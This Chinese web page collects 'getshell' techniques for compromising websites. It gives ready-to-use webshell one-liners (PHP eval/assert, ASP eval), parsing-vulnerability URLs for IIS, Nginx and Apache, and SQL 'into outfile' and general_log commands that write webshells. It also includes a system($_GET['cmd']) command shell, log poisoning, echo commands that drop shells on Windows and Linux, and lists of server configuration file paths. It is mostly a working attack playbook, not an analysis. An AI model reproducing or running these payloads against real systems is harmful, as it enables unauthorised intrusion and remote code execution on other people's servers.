百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

网站渗透总结之Getshell用法大全

bigegpt 2024-08-12 14:11 7 浏览

Getshell分为进管理员后台Getshell和不进后台Getshell,本文主要总结常见进后台Getshell和部分。

一、进后台Getshell

进台Getshel

1、管理员后台直接Getshell

管理员后台直接上传Getshell,有时候带密码的Webshell连接时容易被waf拦截,可以上传不加密的Webshell如有权限限制可以尝试管理后台自带的修改文件名功能在文件名前加../来穿越目录,如上传的文件为a.php,将a.php修改为../a.php。


2、后台数据库备份Getshell

后台数据库备份getshell,上传图片马并获取图片马路径,通过数据库备份修改后缀名,如有后缀名无法修改或路径无法修改限制可修改前端代码绕过,当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可),<%eval

然后再通过备份数据库后访问此界面Getshell。

二、各类上传Getshell

各类上传Getshell

1、修改网站上传类型Getshell

修改网站上传类型,后台设置中添加aasps|asp|php|jsp|aspx|asa|cer,保存后上传aasps文件,上传后为asp文件可以解析Getshll。


2、上传其他脚本类型Getshell

一台服务器有多个站,如a网站为asp脚本,b网站为php脚本,而a中限制了上传文件类型为asp的文件,此时可以上传php的脚本,来拿shell;也可以尝试脚本文件后缀名改为asa或者在后面直接加个.如xx.asp.来突破文件类型限制进行上传来Getshell解

三、解析漏洞Getshell

1、IIS6.0解析漏洞

??http://www.xxx.com/xx.asp/xx.jpg??

??http://www.xxx.com/xx.asp/xx.txt??

??http://www.xxx.com/xx.asp/xx.asp;jpg??


2、IIS7.0/7.5、Nginx<8.0解析漏洞

??http://www.xxx.com/xx.jpg/.php??


3、Nginx<8.03空字节代码执行漏洞

版本范围:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

??http://www.xxx.com/xx.jpg%00.php??


4、Apache解析漏洞

??http://www.xxx.com/xx.php.owf.rar??逆向解析,直到能解析出php为止

?

5、CVE-2013-4547 Nginx解析漏洞

??http://www.xxx.com/xx.jpg(非编码空格)\0.php??

四、编辑漏洞Getshell

1、网站配置插马Getshell

进入后台后,网站配置插马getshell,可以找到源码本地搭建,插入时注意与源码闭合,如果插入出错可能导致网站报废。如asp中单引号表示单行注释作用

??%><%eval request("v01cano")%><%??

?

2、编辑器模版Getshell

通过网站的模版编写一句话,然后生成脚本文件getshell 通过将木马添加到压缩文件,把名字改为网站的模版类型,上传到服务器,getshell)(新建或修改目录名为xx.asp/ 此目录下的jsp,html会以asp执行,配置iis6.有0解析漏洞 。

3、修改脚本文件Getshell

修改后台脚本文件插入一句话直接Getshell,尽量插在头和尾 。

?

4、上传插件、更新页面Getshell

进入wordpress,dz等,如编辑wordpress404页面插入一句话,可以先下载对应版本找到404路径,部分OA上传插件Getshell, jboss,tomcat上传war包getshell等。

?

5、执行sql语句写入Webshell

首先执行错误的sql语句,使其暴露出网站的根目录,以ecshop为例,进入后台执行sql查询

??select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";??

关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。也可以先将一句话通过ecshop的新建管理员写入到user表中,然后通过数据库备份配合解析漏洞Getshell。

五、命令执行Getshel

1、Windows

1.echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:\1.php


2、Linux

1.echo -e "<?php @assert(\$_POST[C0cho])?>" > 1.php


Linux需要在$前加\进行防转义,Windows需要在<前加^防转义,Windows和Linux中的 “可以使用’或不使用进行尝试

六、文件包含Getshell

1、asp包含

?

??include file="123.jpg"??调用的文件必须和被调用的文件在同一目录,否则找不到,如果不在同一目录,用下面语句也使用如下代码??include virtual="文件所在目录/123.jpg"??

2、php包含

  1. <?php
  2. include('123.jpg');
  3. ?>


3、使用php://input

使用burpsuite截取数据包,并修改内容转发(还可以使用hackbar工具中的post data中输入??<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句话木马)??

截取get请求

将一句话木马

访问浏览器查看是否成功

七、数据库命令执行Getshell

1、Access导出

Access可导出xxx等文件需要配合解析漏洞。

  1. create table cmd (a varchar(50));
  2. insert into cmd (a) values ('一句话木马') #一句话木马如:<%execute request(1)%>
  3. select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
  4. drop table cmd

菜刀直连??https://www.webshell.cc/1.asa;x.xls??

2、Sqlserver导出

exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"


3、Mysql导出

以phpMyAdmin为例:

方法一

  1. create TABLE xiaoma (xiaoma1 text NOT NULL);
  2. insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
  3. select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
  4. drop TABLE IF EXISTS xiaoma;


方法二

select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'

1.

方法三

当数据库路径未知时Getshell

1.//创建表a,并且将httpd.conf写入到表a中

2.create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;


然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:

文件可能存在的一些路径:

  1. # Windows
  2. c:\windows\php.ini # php配置文件
  3. c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
  4. # Linux
  5. /etc/php.ini # php配置文件
  6. /etc/httpd/conf.d/php.conf
  7. /etc/httpd/conf/httpd.conf # Apache配置文件
  8. /usr/local/apache/conf/httpd.conf
  9. /usr/local/apache2/conf/httpd.conf

10./usr/local/mysql

11./user/local/httpd/conf/httpd.conf

12./usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

13./user/local/nginx/conf/httpd.conf # Nginx配置文件


方法四

通过load_file函数直接加载该文件内容

1、select load_file('C:/phpStudy/Apache/conf/httpd.conf');

同时需要做如下配置


方法五

general_log_file方法获取Webshell,show global variables like 'secure%'显示secure_file_priv的值为NULL,不能利用写into outfile写木马getshell。

1、show global variables like "%genera%"; #查看genera文件配置情况

2、set global general_log = off; #关闭general_log

3、set global general_log = 'on'; #如果general_log关闭需要开启

4、set global general_log_file = 'D:/www/web/shell.php'


方法六

可执行命令方式

??select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'??

使用方法

www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令


方法七

过杀毒软件方式,上传图片马c.jpg,图片马内容如下:

??www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令??

导出Webshell

??select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'??


方法八

直接导出加密Webshell

??select unhex('加密代码') into dumpfile 'D:/www/web/shell.php'??


八、不进后台Getshell

1、0day Getshell

各类OA,coremail,cms,php框架,数据库,java框架等0day,1day,nday Getshell 。

?

2、写入日志Getshell

获取日志路径,在访问过程中在url或者其他位置写入??<?php eval($_POST[c]);?>;??等信息,使其日志记录此代码,然后访问日志路径,菜刀连接Getshell,如phpinfo();中能查看到error.log和access.log的路径。


3、IIS/Tomcat写权限Getshell

IIS6.0,put协议上传手工或工具,批量扫描工具:iis put scaner,写权限利用:桂林老兵

Tomcat put上传 CVE-2017-12615 工具传送门:https://link.zhihu.com/?target=https%3A//github.com/iBearcat/CVE-2017-12615


4、上传会员头像Getshell

将Webshell放入文件夹,然后压缩成zip文件。上传正常头像抓包将图片文件内容删除,burp右键选择文件黏贴功能,将zip包内容复制到burp中的图片内容,放行后菜刀连接图片上传路径下的文件夹(zip压缩包名)下的Webshell 。

?

5、远程命令执行

参考Linux/Windows反弹shell,脚本语言、powershell反弹shell,Kali/Cobalt Strike等各种上线方法 。

?

6、其他漏洞Getshell

XXE,SSRF,反序列化,strust2等一种或多种组合利用Getshell 。

相关推荐

有些人能留在你的心里,但不能留在你生活里。

有时候,你必须要明白,有些人能留在你的心里,但不能留在你生活里。Sometimes,youhavetorealize,Somepeoplecanstayinyourheart,...

Python学不会来打我(34)python函数爬取百度图片_附源码

随着人工智能和大数据的发展,图像数据的获取变得越来越重要。作为Python初学者,掌握如何从网页中抓取图片并保存到本地是一项非常实用的技能。本文将手把手教你使用Python函数编写一个简单的百度图片...

软网推荐:图像变变变 一“软”见分晓

当我们仅需要改变一些图片的分辨率、裁减尺寸、添加水印、标注文本、更改图片颜色,或将一种图片转换为另一种格式时,总比较讨厌使用一些大型的图像处理软件,尤其是当尚未安装此类软件时,更是如此。实际上,只需一...

首款WP8.1图片搜索应用,搜照片得资料

首款WP8.1图片搜索应用,搜照片得资料出处:IT之家原创(天际)2014-11-1114:32:15评论WP之家报道,《反向图片搜索》(ReverseImageSearch)是Window...

分享一组美图(图片来自头条)(头条美女头像)

...

盗墓笔记电视剧精美海报 盗墓笔记电视剧全集高清种子下载

出身“老九门”世家的吴邪,因身为考古学家的父母在某次保护国家文物行动时被国外盗墓团伙杀害,吴家为保护吴邪安全将他送去德国读书,因而吴邪对“考古”事业有着与生俱来的兴趣。在一次护宝过程中他偶然获得一张...

微软调整Win11 24H2装机策略:6月起36款预装应用改为完整版

IT之家7月16日消息,微软公司今天(7月16日)发布公告,表示自今年6月更新开始,已默认更新Windows1124H2和WindowsServer2025系统中预装...

谷歌手把手教你成为谣言终结者 | 域外

刺猬公社出品,必属原创,严禁转载。合作事宜,请联系微信号:yunlugongby贾宸琰编译、整理11月23日,由谷歌新闻实验室(GoogleNewsLab)联合Bellingcat、DigD...

NAS 部署网盘资源搜索神器:全网资源一键搜,免费看剧听歌超爽!

还在为找不到想看的电影、电视剧、音乐而烦恼?还在各个网盘之间来回切换,浪费大量时间?今天就教你如何在NAS上部署aipan-netdisk-search,一款强大的网盘资源搜索神器,让你全网资源...

使用 Docker Compose 简化 INFINI Console 与 Easysearch 环境搭建

前言回顾在上一篇文章《搭建持久化的INFINIConsole与Easysearch容器环境》中,我们详细介绍了如何使用基础的dockerrun命令,手动启动和配置INFINICon...

为庆祝杜特尔特到访,这个国家宣布全国放假?

(观察者网讯)近日,一篇流传甚广的脸书推文称,为庆祝杜特尔特去年访问印度,印度宣布全国放假,并举办了街头集会以示欢迎。菲媒对此做出澄清,这则消息其实是“假新闻”。据《菲律宾世界日报》2日报道,该贴子...

一课译词:毛骨悚然(毛骨悚然的意思是?)

PhotobyMoosePhotosfromPexels“毛骨悚然”,汉语成语,意思是毛发竖起,脊梁骨发冷;形容恐惧惊骇的样子(withone'shairstandingonend...

Bing Overtakes Google in China&#39;s PC Search Market, Fueled by AI and Microsoft Ecosystem

ScreenshotofBingChinahomepageTMTPOST--Inastunningturnintheglobalsearchenginerace,Mic...

找图不求人!6个以图搜图的识图网站推荐

【本文由小黑盒作者@crystalz于03月08日发布,转载请标明出处!】前言以图搜图,专业说法叫“反向图片搜索引擎”,是专门用来搜索相似图片、原始图片或图片来源的方法。常用来寻找现有图片的原始发布出...

浏览器功能和“油管”有什么关联?为什么要下载

现在有没有一款插件可以实现全部的功能,同时占用又小呢,主题主要是网站的一个外观,而且插件则主要是实现wordpress网站的一些功能,它不仅仅可以定制网站的外观,还可以实现很多插件的功能,搭载chro...